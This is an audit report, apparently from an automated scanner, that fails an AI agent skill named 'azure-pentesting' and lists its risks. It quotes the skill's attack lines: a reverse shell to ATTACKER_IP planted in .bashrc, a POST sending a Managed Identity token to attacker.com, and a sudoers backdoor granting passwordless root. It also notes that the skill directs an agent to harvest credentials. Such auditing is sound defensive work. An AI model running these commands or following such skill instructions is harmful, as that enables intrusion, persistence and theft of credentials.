azure-pentesting
Fail
Audited by Gen Agent Trust Hub on May 29, 2026
Risk Level: HIGHCOMMAND_EXECUTIONDATA_EXFILTRATIONCREDENTIALS_UNSAFEREMOTE_CODE_EXECUTIONEXTERNAL_DOWNLOADS
Full Analysis
- [COMMAND_EXECUTION]: The skill contains commands to establish persistent access on target systems, including the creation of reverse shells within shell configuration files. Evidence:
echo '(nohup bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1" 2>/dev/null &)' >> $HOME/.bashrcinreferences/persistence-techniques.md.- [DATA_EXFILTRATION]: The instructions direct the agent to capture sensitive Azure authentication tokens (Managed Identity) and exfiltrate them to an attacker-controlled server. Evidence:Invoke-WebRequest -Uri "https://attacker.com/collect" -Method POST -Body $tokeninreferences/persistence-techniques.md.- [COMMAND_EXECUTION]: The skill provides commands for privilege escalation on host systems, such as modifying the sudoers file to allow passwordless root access and injecting SSH keys into root directories. Evidence:echo 'attacker ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoersinreferences/persistence-techniques.md.- [CREDENTIALS_UNSAFE]: The skill facilitates the harvesting of sensitive credentials from local caches, includingmsal_token_cache.jsonand Windows DPAPI protected folders (TokenBroker\Cache).- [REMOTE_CODE_EXECUTION]: The methodology leverages Azure's management capabilities (az vm run-commandandCustomScriptExtension) to execute arbitrary scripts on remote virtual machines.- [EXTERNAL_DOWNLOADS]: The skill downloads and executes various third-party offensive security tools and modules from external GitHub repositories, includingo365spray,AADInternals, andMicroBurst.
Recommendations
- AI detected serious security threats
Audit Metadata